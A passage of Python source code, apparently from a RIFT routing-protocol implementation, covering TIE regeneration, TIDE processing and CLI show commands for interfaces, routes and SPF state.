interfaces to the same neighbor.\n if intf.neighbor.system_id in node_tie_packet.element.node.neighbors:\n continue\n # Gather all interfaces (link id pairs) from this node to the same neighbor. Once\n # again, this happens if we have multiple parallel interfaces to the same neighbor.\n link_ids = set()\n for intf2 in self.up_interfaces(interface_going_down):\n if intf.neighbor.system_id == intf2.neighbor.system_id:\n local_id = intf2.local_id\n remote_id = intf2.neighbor.local_id\n link_id_pair = encoding.ttypes.LinkIDPair(local_id, remote_id)\n link_ids.add(link_id_pair)\n node_neighbor = encoding.ttypes.NodeNeighborsTIEElement(\n level=intf.neighbor.level,\n cost=1, # TODO: Take this from config file\n link_ids=link_ids,\n bandwidth=100) # TODO: Take this from config file or interface\n node_tie_packet.element.node.neighbors[intf.neighbor.system_id] = node_neighbor\n node_tie_meta = TIEMeta(node_tie_packet, rx_intf=None)\n self.my_node_tie_metas[direction] = node_tie_meta\n self.store_tie_meta(node_tie_meta)\n self.info(\"Regenerated node TIE for direction %s: %s\",\n packet_common.direction_str(direction), node_tie_packet)\n\n def regenerate_my_node_ties(self, interface_going_down=None):\n for direction in [common.ttypes.TieDirectionType.South,\n common.ttypes.TieDirectionType.North]:\n self.regenerate_node_tie(direction, interface_going_down)\n\n def regenerate_my_north_prefix_tie(self):\n config = self._config\n if ('v4prefixes' in config) or ('v6prefixes' in config):\n tie_packet = packet_common.make_prefix_tie_packet(\n direction=common.ttypes.TieDirectionType.North,\n originator=self.system_id,\n tie_nr=MY_PREFIX_TIE_NR,\n seq_nr=1,\n lifetime=common.constants.default_lifetime)\n self._my_north_prefix_tie_meta = TIEMeta(tie_packet, rx_intf=None)\n else:\n self._my_north_prefix_tie_meta = None\n if 'v4prefixes' in config:\n for v4prefix in config['v4prefixes']:\n prefix_str = v4prefix['address'] + \"/\" + str(v4prefix['mask'])\n prefix = packet_common.make_ipv4_prefix(prefix_str)\n metric = v4prefix['metric']\n tags = set(v4prefix.get('tags', []))\n packet_common.add_ipv4_prefix_to_prefix_tie(\n self._my_north_prefix_tie_meta.tie_packet,\n prefix,\n metric,\n tags)\n if 'v6prefixes' in config:\n for v6prefix in config['v6prefixes']:\n prefix_str = v6prefix['address'] + \"/\" + str(v6prefix['mask'])\n prefix = packet_common.make_ipv6_prefix(prefix_str)\n metric = v6prefix['metric']\n tags = set(v6prefix.get('tags', []))\n packet_common.add_ipv6_prefix_to_prefix_tie(\n self._my_north_prefix_tie_meta.tie_packet,\n prefix,\n metric,\n tags)\n if self._my_north_prefix_tie_meta is None:\n tie_id = packet_common.make_tie_id(\n direction=common.ttypes.TieDirectionType.North,\n originator=self.system_id,\n tie_type=common.ttypes.TIETypeType.PrefixTIEType,\n tie_nr=MY_PREFIX_TIE_NR)\n self.remove_tie(tie_id)\n else:\n self.store_tie_meta(self._my_north_prefix_tie_meta)\n self.info(\"Regenerated north prefix TIE: %s\",\n self._my_north_prefix_tie_meta.tie_packet)\n\n def regenerate_my_pos_disagg_tie(self):\n # Gather the set of (prefix, metric, tags) containing all prefixes which we should currently\n # advertise in our TIE.\n should_adv_disagg = {}\n for dest in self._spf_destinations[constants.DIR_SOUTH].values():\n if dest.positively_disaggregate:\n attr = encoding.ttypes.PrefixAttributes(dest.cost, dest.tags, None)\n should_adv_disagg[dest.prefix] = attr\n # Gather the set of (prefix, metric, tags) containing all prefixes which we currently\n # actually do advertise.\n do_adv_disagg = {}\n if self._my_pos_disagg_tie_meta:\n element = self._my_pos_disagg_tie_meta.tie_packet.element\n prefixes = element.positive_disaggregation_prefixes.prefixes\n for prefix, attr in prefixes.items():\n do_adv_disagg[prefix] = attr\n # If what we actually advertise is equal to what we should advertise, we are done.\n if do_adv_disagg == should_adv_disagg:\n return\n # Something changed; we need regenerate a new prefix TIE for the positively disaggregated\n # prefixes.\n # Determine the sequence number.\n if self._my_pos_disagg_tie_meta:\n new_seq_nr = self._my_pos_disagg_tie_meta.tie_packet.header.seq_nr + 1\n else:\n new_seq_nr = 1\n # Buid the new prefix TIE.\n tie_header = packet_common.make_tie_header(\n direction=common.ttypes.TieDirectionType.South,\n originator=self.system_id,\n tie_type=common.ttypes.TIETypeType.PositiveDisaggregationPrefixTIEType,\n tie_nr=MY_POS_DISAGG_TIE_NR,\n seq_nr=new_seq_nr,\n lifetime=common.constants.default_lifetime)\n prefix_tie_element = encoding.ttypes.PrefixTIEElement(\n prefixes=should_adv_disagg)\n tie_element = encoding.ttypes.TIEElement(\n positive_disaggregation_prefixes=prefix_tie_element)\n tie_packet = encoding.ttypes.TIEPacket(header=tie_header, element=tie_element)\n tie_meta = TIEMeta(tie_packet, rx_intf=None)\n # If the new TIE is empty and we were not already advertising a positive disaggration TIE,\n # then don't start now.\n if (not tie_packet.element.positive_disaggregation_prefixes.prefixes\n and not self._my_pos_disagg_tie_meta):\n return\n # Make the newly constructed TIE the current positive disaggregation TIE and update the\n # database.\n self._my_pos_disagg_tie_meta = tie_meta\n self.store_tie_meta(tie_meta)\n self.info(\"Regenerated positive disaggregation TIE: %s\", tie_packet)\n\n def is_overloaded(self):\n # Is this node overloaded?\n # In the current implementation, we are never overloaded.\n return False\n\n def have_s_or_ew_adjacency(self, interface_going_down):\n # Does this node have at least one south-bound or east-west adjacency?\n for intf in self.interfaces_by_name.values():\n if ((intf.fsm.state == interface.Interface.State.THREE_WAY) and\n (intf != interface_going_down)):\n if intf.neighbor_direction() in [constants.DIR_SOUTH,\n constants.DIR_EAST_WEST]:\n return True\n return False\n\n def other_nodes_are_overloaded(self):\n # Are all the other nodes at my level overloaded?\n if not self.other_node_tie_metas_my_level:\n # There are no other nodes at my level\n return False\n for node_tie_meta in self.other_node_tie_metas_my_level.values():\n flags = node_tie_meta.tie_packet.element.node.flags\n if (flags is not None) and (not flags.overload):\n return False\n return True\n\n def other_nodes_have_no_n_adjacency(self):\n # Do all the other nodes at my level have NO north-bound adjacencies?\n if not self.other_node_tie_metas_my_level:\n # There are no other nodes at my level\n return False\n for node_tie_meta in self.other_node_tie_metas_my_level.values():\n for check_neighbor in node_tie_meta.tie_packet.element.node.neighbors.values():\n if check_neighbor.level > self.level_value():\n return False\n return True\n\n def have_n_spf_route_to_default(self):\n # Has this node computed reachability to a default route during N-SPF?\n # TODO: We need to implement SPF (route calculation before we can implement this; for now\n # always return True)\n return True\n\n def regenerate_my_south_prefix_tie(self, interface_going_down=None):\n if self.is_overloaded():\n decision = (False, \"This node is overloaded\")\n elif not self.have_s_or_ew_adjacency(interface_going_down):\n decision = (False, \"This node has no south-bound or east-west adjacency\")\n elif self.other_nodes_are_overloaded():\n decision = (True, \"All other nodes at my level are overloaded\")\n elif self.other_nodes_have_no_n_adjacency():\n decision = (True, \"All other nodes at my level have no north-bound adjacencies\")\n elif self.have_n_spf_route_to_default():\n decision = (True, \"This node has computed reachability to a default route during N-SPF\")\n (must_originate_default, reason) = decision\n # If we don't want to originate a default now, and we never originated one in the past, then\n # we don't create a prefix TIE at all. But if we have ever originated one in the past, then\n # we have to flush it by originating an empty prefix TIE.\n if (not must_originate_default) and (self._my_south_prefix_tie_meta is None):\n self.info(\"Don't originate south prefix TIE because: %s\", reason)\n return\n if ((must_originate_default != self._originating_default) or\n (self._my_south_prefix_tie_meta is None)):\n self._originating_default = must_originate_default\n if self._my_south_prefix_tie_meta is None:\n next_seq_nr = 1\n else:\n next_seq_nr = self._my_south_prefix_tie_meta.tie_packet.header.seq_nr + 1\n tie_packet = packet_common.make_prefix_tie_packet(\n direction=common.ttypes.TieDirectionType.South,\n originator=self.system_id,\n tie_nr=MY_PREFIX_TIE_NR,\n seq_nr=next_seq_nr,\n lifetime=common.constants.default_lifetime)\n self._my_south_prefix_tie_meta = TIEMeta(tie_packet, rx_intf=None)\n if must_originate_default:\n # The specification does not mention what metric the default route should be\n # originated with. Juniper originates with metric 1, so that is what I will do as\n # well.\n metric = 1\n packet_common.add_ipv4_prefix_to_prefix_tie(\n self._my_south_prefix_tie_meta.tie_packet,\n packet_common.make_ipv4_prefix(\"0.0.0.0/0\"),\n metric)\n packet_common.add_ipv6_prefix_to_prefix_tie(\n self._my_south_prefix_tie_meta.tie_packet,\n packet_common.make_ipv6_prefix(\"::/0\"),\n metric)\n self.store_tie_meta(self._my_south_prefix_tie_meta)\n self.info(\"Regenerated south prefix TIE because %s: %s\", reason,\n self._my_south_prefix_tie_meta.tie_packet)\n\n def clear_all_generated_node_ties(self):\n for direction in [common.ttypes.TieDirectionType.South,\n common.ttypes.TieDirectionType.North]:\n node_tie_meta = self.my_node_tie_metas[direction]\n if node_tie_meta is not None:\n self.remove_tie(node_tie_meta.tie_packet.header)\n self.my_node_tie_metas[direction] = None\n\n def send_tides(self):\n # The current implementation prepares, encodes, and sends a unique TIDE packet for each\n # individual neighbor. We do NOT (yet) have any optimization that attempts to prepare and\n # encode a TIDE only once in total or once per direction (N, S, EW). See the comment in the\n # function is_flood_allowed for a more detailed discussion on why not.\n for intf in self.interfaces_by_name.values():\n self.send_tides_on_interface(intf)\n\n def send_tides_on_interface(self, intf):\n if intf.fsm.state != interface.Interface.State.THREE_WAY:\n return\n tide_packet = self.generate_tide_packet(\n neighbor_direction=intf.neighbor_direction(),\n neighbor_system_id=intf.neighbor.system_id,\n neighbor_level=intf.neighbor.level,\n neighbor_is_top_of_fabric=intf.neighbor.top_of_fabric(),\n my_level=self.level_value(),\n i_am_top_of_fabric=self.top_of_fabric())\n self.debug(\"Regenerated TIDE for neighbor %s: %s\", intf.neighbor.system_id, tide_packet)\n packet_content = encoding.ttypes.PacketContent(tide=tide_packet)\n packet_header = encoding.ttypes.PacketHeader(\n sender=self.system_id,\n level=self.level_value())\n protocol_packet = encoding.ttypes.ProtocolPacket(\n header=packet_header,\n content=packet_content)\n intf.send_protocol_packet(protocol_packet, flood=True)\n\n @staticmethod\n def cli_summary_headers():\n return [\n [\"Node\", \"Name\"],\n [\"System\", \"ID\"],\n [\"Running\"]]\n\n def cli_summary_attributes(self):\n return [\n self.name,\n utils.system_id_str(self.system_id),\n self.running]\n\n @staticmethod\n def cli_level_headers():\n return [\n [\"Node\", \"Name\"],\n [\"System\", \"ID\"],\n [\"Running\"],\n [\"Configured\", \"Level\"],\n [\"Level\", \"Value\"]]\n\n def cli_level_attributes(self):\n if self.running:\n return [\n self.name,\n utils.system_id_str(self.system_id),\n self.running,\n self._configured_level_symbol,\n self.level_value_str()]\n else:\n return [\n self.name,\n utils.system_id_str(self.system_id),\n self.running,\n self._configured_level_symbol,\n '?']\n\n def command_clear_intf_stats(self, cli_session, parameters):\n interface_name = parameters['interface']\n if not interface_name in self.interfaces_by_name:\n cli_session.print(\"Error: interface {} not present\".format(interface_name))\n return\n intf = self.interfaces_by_name[interface_name]\n intf.clear_stats()\n\n def command_clear_node_stats(self, _cli_session):\n self.node_ztp_fsm_stats_group.clear()\n self.intf_traffic_stats_group.clear()\n self.intf_lie_fsm_stats_group.clear()\n\n def command_show_intf_fsm_hist(self, cli_session, parameters, verbose):\n interface_name = parameters['interface']\n if not interface_name in self.interfaces_by_name:\n cli_session.print(\"Error: interface {} not present\".format(interface_name))\n return\n shown_interface = self.interfaces_by_name[interface_name]\n tab = shown_interface.fsm.history_table(verbose)\n cli_session.print(tab.to_string())\n\n def command_show_intf_queues(self, cli_session, parameters):\n interface_name = parameters['interface']\n if not interface_name in self.interfaces_by_name:\n cli_session.print(\"Error: interface {} not present\".format(interface_name))\n return\n intf = self.interfaces_by_name[interface_name]\n tab = intf.ties_tx_table()\n cli_session.print(\"Transmit queue:\")\n cli_session.print(tab.to_string())\n tab = intf.ties_rtx_table()\n cli_session.print(\"Retransmit queue:\")\n cli_session.print(tab.to_string())\n tab = intf.ties_req_table()\n cli_session.print(\"Request queue:\")\n cli_session.print(tab.to_string())\n tab = intf.ties_ack_table()\n cli_session.print(\"Acknowledge queue:\")\n cli_session.print(tab.to_string())\n\n def command_show_intf_sockets(self, cli_session, parameters):\n interface_name = parameters['interface']\n if not interface_name in self.interfaces_by_name:\n cli_session.print(\"Error: interface {} not present\".format(interface_name))\n return\n intf = self.interfaces_by_name[interface_name]\n tab = intf.sockets_table()\n cli_session.print(tab.to_string())\n\n def command_show_intf_stats(self, cli_session, parameters, exclude_zero):\n interface_name = parameters['interface']\n if not interface_name in self.interfaces_by_name:\n cli_session.print(\"Error: interface {} not present\".format(interface_name))\n return\n intf = self.interfaces_by_name[interface_name]\n cli_session.print(\"Traffic:\")\n tab = intf.traffic_stats_table(exclude_zero)\n cli_session.print(tab.to_string())\n cli_session.print(\"LIE FSM:\")\n tab = intf.lie_fsm_stats_table(exclude_zero)\n cli_session.print(tab.to_string())\n\n def command_show_intf_tides(self, cli_session, parameters):\n interface_name = parameters['interface']\n if not interface_name in self.interfaces_by_name:\n cli_session.print(\"Error: interface {} not present\".format(interface_name))\n return\n intf = self.interfaces_by_name[interface_name]\n cli_session.print(\"Send TIDEs:\")\n tab = intf.send_tides_table()\n cli_session.print(tab.to_string())\n\n def command_show_interface(self, cli_session, parameters):\n interface_name = parameters['interface']\n if not interface_name in self.interfaces_by_name:\n cli_session.print(\"Error: interface {} not present\".format(interface_name))\n return\n intf = self.interfaces_by_name[interface_name]\n cli_session.print(\"Interface:\")\n cli_session.print(intf.cli_details_table().to_string())\n neighbor_table = intf.cli_neighbor_details_table()\n if neighbor_table:\n cli_session.print(\"Neighbor:\")\n cli_session.print(neighbor_table.to_string())\n\n def command_show_interfaces(self, cli_session):\n # TODO: Report neighbor uptime (time in THREE_WAY state)\n tab = table.Table()\n tab.add_row(interface.Interface.cli_summary_headers())\n for intf in self.interfaces_by_name.values():\n tab.add_row(intf.cli_summary_attributes())\n cli_session.print(tab.to_string())\n\n def floodred_parents_table(self):\n tab = table.Table()\n tab.add_row(FloodRedParent.cli_summary_headers())\n for parent in self.floodred_parents:\n tab.add_row(parent.cli_summary_attributes())\n return tab\n\n def floodred_grandparents_table(self):\n sorted_floodred_grandparents = sortedcontainers.SortedDict(self.floodred_grandparents)\n tab = table.Table()\n tab.add_row(FloodRedGrandparent.cli_summary_headers())\n for grandparent in sorted_floodred_grandparents.values():\n tab.add_row(grandparent.cli_summary_attributes())\n return tab\n\n def floodred_interfaces_table(self):\n tab = table.Table()\n tab.add_row(interface.Interface.cli_floodred_summary_headers())\n for intf in self.interfaces_by_name.values():\n tab.add_row(intf.cli_floodred_summary_attributes())\n return tab\n\n def command_show_flooding_reduction(self, cli_session):\n cli_session.print(\"Parents:\")\n cli_session.print(self.floodred_parents_table().to_string())\n cli_session.print(\"Grandparents:\")\n cli_session.print(self.floodred_grandparents_table().to_string())\n cli_session.print(\"Interfaces:\")\n cli_session.print(self.floodred_interfaces_table().to_string())\n\n def command_show_kernel_addresses(self, cli_session):\n self.kernel.command_show_addresses(cli_session)\n\n def command_show_kernel_links(self, cli_session):\n self.kernel.command_show_links(cli_session)\n\n def command_show_kernel_routes(self, cli_session):\n self.kernel.command_show_routes(cli_session, None)\n\n def command_show_kernel_routes_tab(self, cli_session, parameters):\n table_nr = self.get_table_param(cli_session, parameters)\n if table_nr is None:\n return\n self.kernel.command_show_routes(cli_session, table_nr)\n\n def command_show_kernel_routes_pref(self, cli_session, parameters):\n table_nr = self.get_table_param(cli_session, parameters)\n prefix = self.get_prefix_param(cli_session, parameters)\n if (table_nr is None) or (prefix is None):\n return\n self.kernel.command_show_route_prefix(cli_session, table_nr, prefix)\n\n def command_show_node(self, cli_session):\n cli_session.print(\"Node:\")\n cli_session.print(self.cli_details_table().to_string())\n cli_session.print(\"Received Offers:\")\n tab = table.Table()\n tab.add_row(offer.RxOffer.cli_headers())\n sorted_rx_offers = sortedcontainers.SortedDict(self._rx_offers)\n for off in sorted_rx_offers.values():\n tab.add_row(off.cli_attributes())\n cli_session.print(tab.to_string())\n cli_session.print(\"Sent Offers:\")\n tab = table.Table()\n tab.add_row(offer.TxOffer.cli_headers())\n sorted_tx_offers = sortedcontainers.SortedDict(self._tx_offers)\n for off in sorted_tx_offers.values():\n tab.add_row(off.cli_attributes())\n cli_session.print(tab.to_string())\n\n def command_show_node_fsm_history(self, cli_session, verbose):\n tab = self.fsm.history_table(verbose)\n cli_session.print(tab.to_string())\n\n def command_show_node_stats(self, cli_session, exclude_zero):\n cli_session.print(\"Node ZTP FSM:\")\n tab = self.node_ztp_fsm_stats_group.table(exclude_zero, sort_by_description=True)\n cli_session.print(tab.to_string())\n cli_session.print(\"Node Interfaces Traffic:\")\n tab = self.intf_traffic_stats_group.table(exclude_zero)\n cli_session.print(tab.to_string())\n cli_session.print(\"Node Interface LIE FSMs:\")\n tab = self.intf_lie_fsm_stats_group.table(exclude_zero, sort_by_description=True)\n cli_session.print(tab.to_string())\n\n @staticmethod\n def tide_content_append_tie_id(contents, tie_id):\n contents.append(\" Direction: \" + packet_common.direction_str(tie_id.direction))\n contents.append(\" Originator: \" + utils.system_id_str(tie_id.originator))\n contents.append(\" TIE Type: \" + packet_common.tietype_str(tie_id.tietype))\n contents.append(\" TIE Nr: \" + str(tie_id.tie_nr))\n\n def command_show_route_prefix(self, cli_session, parameters):\n prefix = self.get_prefix_param(cli_session, parameters)\n if prefix is None:\n return\n if prefix.ipv4prefix is not None:\n af_rib = self._ipv4_rib\n else:\n af_rib = self._ipv6_rib\n at_least_one = False\n tab = table.Table()\n tab.add_row(route.Route.cli_summary_headers())\n for rte in af_rib.all_prefix_routes(prefix):\n at_least_one = True\n tab.add_row(rte.cli_summary_attributes())\n if at_least_one:\n cli_session.print(tab.to_string())\n else:\n cli_session.print(\"Prefix {} not present\".format(prefix))\n\n def command_show_route_prefix_owner(self, cli_session, parameters):\n prefix = self.get_prefix_param(cli_session, parameters)\n if prefix is None:\n return\n owner = self.get_owner_param(cli_session, parameters)\n if owner is None:\n return\n if prefix.ipv4prefix is not None:\n af_rib = self._ipv4_rib\n else:\n af_rib = self._ipv6_rib\n rte = af_rib.get_route(prefix, owner)\n if rte is None:\n cli_session.print(\"Prefix {} owner {} not present\".\n format(prefix, constants.owner_str(owner)))\n else:\n tab = table.Table()\n tab.add_row(route.Route.cli_summary_headers())\n tab.add_row(rte.cli_summary_attributes())\n cli_session.print(tab.to_string())\n\n def command_show_routes(self, cli_session):\n self.command_show_routes_af(cli_session, constants.ADDRESS_FAMILY_IPV4)\n self.command_show_routes_af(cli_session, constants.ADDRESS_FAMILY_IPV6)\n\n def command_show_routes_family(self, cli_session, parameters):\n family = parameters[\"family\"].lower()\n if family == \"ipv4\":\n self.command_show_routes_af(cli_session, constants.ADDRESS_FAMILY_IPV4)\n elif family == \"ipv6\":\n self.command_show_routes_af(cli_session, constants.ADDRESS_FAMILY_IPV6)\n else:\n cli_session.print(\"Error: unknown family {} (valid values are: ipv4, ipv6)\"\n .format(family))\n\n def command_show_routes_af(self, cli_session, address_family):\n cli_session.print(constants.address_family_str(address_family) + \" Routes:\")\n if address_family == constants.ADDRESS_FAMILY_IPV4:\n tab = self._ipv4_rib.cli_table()\n else:\n assert address_family == constants.ADDRESS_FAMILY_IPV6\n tab = self._ipv6_rib.cli_table()\n cli_session.print(tab.to_string())\n\n def command_show_forwarding_prefix(self, cli_session, parameters):\n prefix = self.get_prefix_param(cli_session, parameters)\n if prefix is None:\n return\n if prefix.ipv4prefix is not None:\n af_fib = self._ipv4_fib\n else:\n af_fib = self._ipv6_fib\n rte = af_fib.get_route(prefix)\n if rte is None:\n cli_session.print(\"Prefix {} not present\".format(prefix))\n return\n tab = table.Table()\n tab.add_row(route.Route.cli_summary_headers())\n tab.add_row(rte.cli_summary_attributes())\n cli_session.print(tab.to_string())\n\n def command_show_forwarding(self, cli_session):\n self.command_show_forwarding_af(cli_session, constants.ADDRESS_FAMILY_IPV4)\n self.command_show_forwarding_af(cli_session, constants.ADDRESS_FAMILY_IPV6)\n\n def command_show_forwarding_family(self, cli_session, parameters):\n family = parameters[\"family\"].lower()\n if family == \"ipv4\":\n self.command_show_forwarding_af(cli_session, constants.ADDRESS_FAMILY_IPV4)\n elif family == \"ipv6\":\n self.command_show_forwarding_af(cli_session, constants.ADDRESS_FAMILY_IPV6)\n else:\n cli_session.print(\"Error: unknown family {} (valid values are: ipv4, ipv6)\"\n .format(family))\n\n def command_show_forwarding_af(self, cli_session, address_family):\n cli_session.print(constants.address_family_str(address_family) + \" Routes:\")\n if address_family == constants.ADDRESS_FAMILY_IPV4:\n tab = self._ipv4_fib.cli_table()\n else:\n assert address_family == constants.ADDRESS_FAMILY_IPV6\n tab = self._ipv6_fib.cli_table()\n cli_session.print(tab.to_string())\n\n def command_show_same_level_nodes(self, cli_session):\n tab = self.same_level_nodes_table()\n cli_session.print(tab.to_string())\n\n def command_show_spf(self, cli_session):\n cli_session.print(\"SPF Statistics:\")\n tab = self.spf_statistics_table()\n cli_session.print(tab.to_string())\n self.command_show_spf_destinations(cli_session, constants.DIR_SOUTH)\n self.command_show_spf_destinations(cli_session, constants.DIR_NORTH)\n\n @staticmethod\n def get_direction_param(cli_session, parameters):\n assert \"direction\" in parameters\n direction_str = parameters[\"direction\"]\n if direction_str.lower() == \"south\":\n return constants.DIR_SOUTH\n if direction_str.lower() == \"north\":\n return constants.DIR_NORTH\n cli_session.print('Invalid direction \"{}\" (valid values: \"south\", \"north\")'\n .format(direction_str))\n return None\n\n @staticmethod\n def get_destination_param(cli_session, parameters):\n assert \"destination\" in parameters\n destination_str = parameters[\"destination\"]\n # Is it a system-id (integer)?\n try:\n destination = int(destination_str)\n except ValueError:\n pass\n else:\n return destination\n # Is it an IPv4 prefix?\n try:\n destination = packet_common.make_ipv4_prefix(destination_str)\n except ValueError:\n pass\n else:\n return destination\n # Is it an IPv6 prefix?\n try:\n destination = packet_common.make_ipv6_prefix(destination_str)\n except ValueError:\n pass\n else:\n return destination\n # None of the above\n cli_session.print('Invalid destination \"{}\" (valid values: system-id, ipv4-prefix, '\n 'ipv6-prefix)'.format(destination_str))\n return None\n\n @staticmethod\n def get_prefix_param(cli_session, parameters):\n assert \"prefix\" in parameters\n prefix_str = parameters[\"prefix\"]\n # Is it an IPv4 prefix?\n try:\n prefix = packet_common.make_ipv4_prefix(prefix_str)\n except ValueError:\n pass\n else:\n return prefix\n # Is it an IPv6 prefix?\n try:\n prefix = packet_common.make_ipv6_prefix(prefix_str)\n except ValueError:\n pass\n else:\n return prefix\n # None of the above\n cli_session.print('Invalid prefix \"{}\" (valid values: ipv4-prefix, ipv6-prefix)'\n .format(prefix_str))\n return None\n\n @staticmethod\n def get_owner_param(cli_session, parameters):\n assert \"owner\" in parameters\n direction_str = parameters[\"owner\"]\n if direction_str.lower() == \"south-spf\":\n return constants.OWNER_S_SPF\n if direction_str.lower() == \"north-spf\":\n return constants.OWNER_N_SPF\n cli_session.print('Invalid owner \"{}\" (valid values: \"south-spf\", \"north-spf\")'\n .format(direction_str))\n return None\n\n @staticmethod\n def get_table_param(cli_session, parameters):\n # No matter how the table is specified (name or number), this always returns a table number\n assert \"table\" in parameters\n table_str = parameters[\"table\"].lower()\n if table_str == \"local\":\n return 255\n elif table_str == \"main\":\n return 254\n elif table_str == \"default\":\n return 253\n elif table_str == \"unspecified\":\n return 0\n else:\n try:\n return int(table_str)\n except ValueError:\n cli_session.print('Invalid table \"{}\" (valid values: \"local\", \"main\", '\n '\"default\", \"unspecified\", or number)'.format(table_str))\n return None\n\n\n\n def command_show_spf_dir(self, cli_session, parameters):\n direction = self.get_direction_param(cli_session, parameters)\n if direction is None:\n return\n self.command_show_spf_destinations(cli_session, direction)\n\n def command_show_spf_dir_dest(self, cli_session, parameters):\n direction = self.get_direction_param(cli_session, parameters)\n if direction is None:\n return\n destination = self.get_destination_param(cli_session, parameters)\n if destination is None:\n return\n dest_table = self._spf_destinations[direction]\n if destination in dest_table:\n tab = table.Table()\n tab.add_row(spf_dest.SPFDest.cli_summary_headers())\n tab.add_row(dest_table[destination].cli_summary_attributes())\n cli_session.print(tab.to_string())\n else:\n cli_session.print(\"Destination {} not present\".format(destination))\n\n def command_show_spf_destinations(self, cli_session, direction):\n cli_session.print(constants.direction_str(direction) + \" SPF Destinations:\")\n tab = self.spf_tree_table(direction)\n cli_session.print(tab.to_string())\n\n def command_show_tie_db(self, cli_session):\n tab = self.tie_db_table()\n cli_session.print(tab.to_string())\n\n def command_set_interface_failure(self, cli_session, parameters):\n interface_name = parameters['interface']\n if not interface_name in self.interfaces_by_name:\n cli_session.print(\"Error: interface {} not present\".format(interface_name))\n return\n failure = parameters['failure'].lower()\n if failure not in [\"ok\", \"rx-failed\", \"tx-failed\", \"failed\"]:\n cli_session.print(\"Error: unknown failure {} (valid values are: \"\n \"ok, failed, rx-failed, tx-failed)\".format(failure))\n return\n tx_fail = failure in [\"failed\", \"tx-failed\"]\n rx_fail = failure in [\"failed\", \"rx-failed\"]\n self.interfaces_by_name[interface_name].set_failure(tx_fail, rx_fail)\n\n def debug(self, msg, *args):\n self.log.debug(\"[%s] %s\" % (self.log_id, msg), *args)\n\n def info(self, msg, *args):\n self.log.info(\"[%s] %s\" % (self.log_id, msg), *args)\n\n def db_debug(self, msg, *args):\n if self._tie_db_log is not None:\n self._tie_db_log.debug(\"[%s] %s\" % (self.log_id, msg), *args)\n\n def spf_debug(self, msg, *args):\n if self._spf_log is not None:\n self._spf_log.debug(\"[%s] %s\" % (self.log_id, msg), *args)\n\n def floodred_debug(self, msg, *args):\n if self._floodred_log is not None:\n self._floodred_log.debug(\"[%s] %s\" % (self.log_id, msg), *args)\n\n def floodred_warning(self, msg, *args):\n if self._floodred_log is not None:\n self._floodred_log.warning(\"[%s] %s\" % (self.log_id, msg), *args)\n\n def ties_differ_enough_for_spf(self, old_tie, new_tie):\n # Only TIEs with the same TIEID should be compared\n assert old_tie.header.tieid == new_tie.header.tieid\n # Any change in seq_nr triggers an SPF\n if old_tie.header.seq_nr != new_tie.header.seq_nr:\n return True\n # All remaining_lifetime values are the same, except zero, for the purpose of running SPF\n if (old_tie.header.remaining_lifetime == 0) and (new_tie.header.remaining_lifetime != 0):\n return True\n if (old_tie.header.remaining_lifetime != 0) and (new_tie.header.remaining_lifetime == 0):\n return True\n # Ignore any changes in origination_lifetime for the purpose of running SPF (TODO: really?)\n # Any change in the element contents (node, prefixes, etc.) trigger an SPF\n if old_tie.element != new_tie.element:\n return True\n # If we get here, nothing of relevance to SPF changed\n return False\n\n def store_tie_packet(self, tie_packet, rx_intf=None):\n tie_meta = TIEMeta(tie_packet, rx_intf)\n self.store_tie_meta(tie_meta)\n\n def update_partially_conn_all_intfs(self):\n for intf in self.interfaces_by_name.values():\n intf.update_partially_connected()\n\n def store_tie_meta(self, tie_meta):\n tie_packet = tie_meta.tie_packet\n tie_id = tie_packet.header.tieid\n if tie_id in self.tie_metas:\n old_tie_packet = self.tie_metas[tie_id].tie_packet\n trigger_spf = self.ties_differ_enough_for_spf(old_tie_packet, tie_packet)\n if trigger_spf:\n reason = \"TIE \" + packet_common.tie_id_str(tie_id) + \" changed\"\n else:\n trigger_spf = True\n reason = \"TIE \" + packet_common.tie_id_str(tie_id) + \" added\"\n self.tie_metas[tie_id] = tie_meta\n if self.is_same_level_tie(tie_packet):\n self.other_node_tie_metas_my_level[tie_packet.header.tieid] = tie_meta\n self.update_partially_conn_all_intfs()\n self.regenerate_my_south_prefix_tie()\n if trigger_spf:\n self.trigger_spf(reason)\n\n def remove_tie(self, tie_id):\n # It is not an error to attempt to delete a TIE which is not in the database\n if tie_id in self.tie_metas:\n del self.tie_metas[tie_id]\n reason = \"TIE \" + packet_common.tie_id_str(tie_id) + \" removed\"\n self.trigger_spf(reason)\n if tie_id in self.other_node_tie_metas_my_level:\n del self.other_node_tie_metas_my_level[tie_id]\n self.update_partially_conn_all_intfs()\n self.regenerate_my_south_prefix_tie()\n\n def find_tie_meta(self, tie_id):\n # Returns None if tie_id is not in database\n return self.tie_metas.get(tie_id)\n\n def start_sending_db_ties_in_range(self, start_sending_tie_headers, start_id, start_incl,\n end_id, end_incl):\n db_tie_ids = self.tie_metas.irange(start_id, end_id, (start_incl, end_incl))\n for db_tie_id in db_tie_ids:\n db_tie_meta = self.tie_metas[db_tie_id]\n # TODO: Make sure that lifetime is decreased by at least one before propagating\n start_sending_tie_headers.append(db_tie_meta.tie_packet.header)\n\n def process_received_tide_packet(self, tide_packet):\n request_tie_headers = []\n start_sending_tie_headers = []\n stop_sending_tie_headers = []\n # It is assumed TIDEs are sent and received in increasing order or range. If we observe\n # a gap between the end of the range of the last TIDE (if any) and the start of the range\n # of this TIDE, then we must start sending all TIEs in our database that fall in that gap.\n if tide_packet.start_range < self._last_received_tide_end:\n # The neighbor has wrapped around: it has sent its last TIDE and is not sending the\n # first TIDE again (look for comment \"wrap-around\" in test_tie_db.py for an example)\n # Note - I am not completely happy with this rule since it may lead to unnecessarily\n # putting TIEs on the send queue if TIDEs are received out of order.\n self._last_received_tide_end = self.MIN_TIE_ID\n if tide_packet.start_range > self._last_received_tide_end:\n # There is a gap between the end of the previous TIDE and the start of this TIDE\n self.start_sending_db_ties_in_range(start_sending_tie_headers,\n self._last_received_tide_end, True,\n tide_packet.start_range, False)\n self._last_received_tide_end = tide_packet.end_range\n # The first gap that we need to consider starts at start_range (inclusive)\n last_processed_tie_id = tide_packet.start_range\n minimum_inclusive = True\n # Process the TIDE\n for header_in_tide in tide_packet.headers:\n # Make sure all tie_ids in the TIDE in the range advertised by the TIDE\n if header_in_tide.tieid < last_processed_tie_id:\n # TODO: Handle error (not sorted)\n assert False\n # Start/mid-gap processing: send TIEs that are in our TIE DB but missing in TIDE\n self.start_sending_db_ties_in_range(start_sending_tie_headers,\n last_processed_tie_id, minimum_inclusive,\n header_in_tide.tieid, False)\n last_processed_tie_id = header_in_tide.tieid\n minimum_inclusive = False\n # Process all tie_ids in the TIDE\n db_tie_meta = 